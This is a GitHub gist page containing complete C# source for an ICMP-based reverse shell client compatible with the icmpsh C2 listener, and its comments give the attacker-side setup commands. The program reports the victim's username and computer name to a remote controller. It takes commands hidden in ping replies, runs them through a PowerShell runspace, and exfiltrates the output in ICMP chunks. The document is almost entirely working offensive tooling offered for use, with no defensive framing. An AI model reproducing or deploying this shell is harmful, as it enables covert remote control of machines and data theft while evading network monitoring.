Skip to content

Instantly share code, notes, and snippets.

@3xocyte
Created August 13, 2018 10:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save 3xocyte/8e6f7cd24b26a09e844f0eac423bb34a to your computer and use it in GitHub Desktop.
Save 3xocyte/8e6f7cd24b26a09e844f0eac423bb34a to your computer and use it in GitHub Desktop.
ICMP reverse shell (icmpsh compatible)
using System;
using System.IO;
using System.Text;
using System.Net.NetworkInformation;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Threading;
using System.Collections.ObjectModel;
// .NET ICMP reverse shell client with PowerShell runspace by @3xocyte
// based on: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1
// C2 code: https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
// run on Linux with icmpsh_m.py:
// # sysctl -w net.ipv4.icmp_echo_ignore_all=1
// # python icmpsh_m.py <server IP> <client IP>
namespace icmpshellcs
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("[!] C2 IP address required");
Environment.Exit(1);
}
string who = args[0];
int bufferSize = 128;
// establish connection
Ping icmpClient = new Ping();
PingOptions pingOpts = new PingOptions();
pingOpts.DontFragment = true;
string connectString = ("Running as " + Environment.GetEnvironmentVariable("username") + " on " + Environment.GetEnvironmentVariable("computername"));
byte[] connectBytes = Encoding.ASCII.GetBytes(connectString);
icmpClient.Send(who, 60 * 1000, connectBytes, pingOpts);
// show a command prompt
string promptString = ("\nPS " + Directory.GetCurrentDirectory() + "> ");
byte[] promptBytes = Encoding.ASCII.GetBytes(promptString);
icmpClient.Send(who, 60 * 1000, promptBytes, pingOpts);
while (true)
{
string sendString = "";
byte[] sendBytes = Encoding.ASCII.GetBytes(sendString);
PingReply reply = icmpClient.Send(who, 60 * 1000, sendBytes, pingOpts);
if (reply.Buffer.Length > 0)
{
string response = Encoding.ASCII.GetString(reply.Buffer);
string result = Pshell.RunPSCommand(response);
byte[] returnBytes = Encoding.ASCII.GetBytes(result);
decimal index = Math.Floor((decimal)returnBytes.Length / bufferSize);
int i = 0;
// split command output into smaller buffers to send to the C2
if (returnBytes.Length > bufferSize)
{
while (i < index)
{
byte[] byteChunk = new byte[bufferSize];
Array.Copy(returnBytes, i * bufferSize, byteChunk, 0, bufferSize);
icmpClient.Send(who, 60 * 10000, byteChunk, pingOpts);
i++;
}
int remainingIndex = returnBytes.Length % bufferSize;
if (remainingIndex != 0)
{
byte[] byteChunk = new byte[remainingIndex];
Array.Copy(returnBytes, i * bufferSize, byteChunk, 0, remainingIndex);
icmpClient.Send(who, 60 * 10000, byteChunk, pingOpts);
}
}
else
{
icmpClient.Send(who, 60 * 10000, returnBytes, pingOpts);
}
icmpClient.Send(who, 60 * 1000, promptBytes, pingOpts);
}
else
{
Thread.Sleep(2000);
}
}
}
// this code shows up in a bunch of Casey Smith's scripts (MSBuild AppLocker bypass, etc), available on various backups
//Requires adding ref to System.Management.Automation.dll
public class Pshell
{
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
try
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
catch
{
string fail = "Failed";
return fail;
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment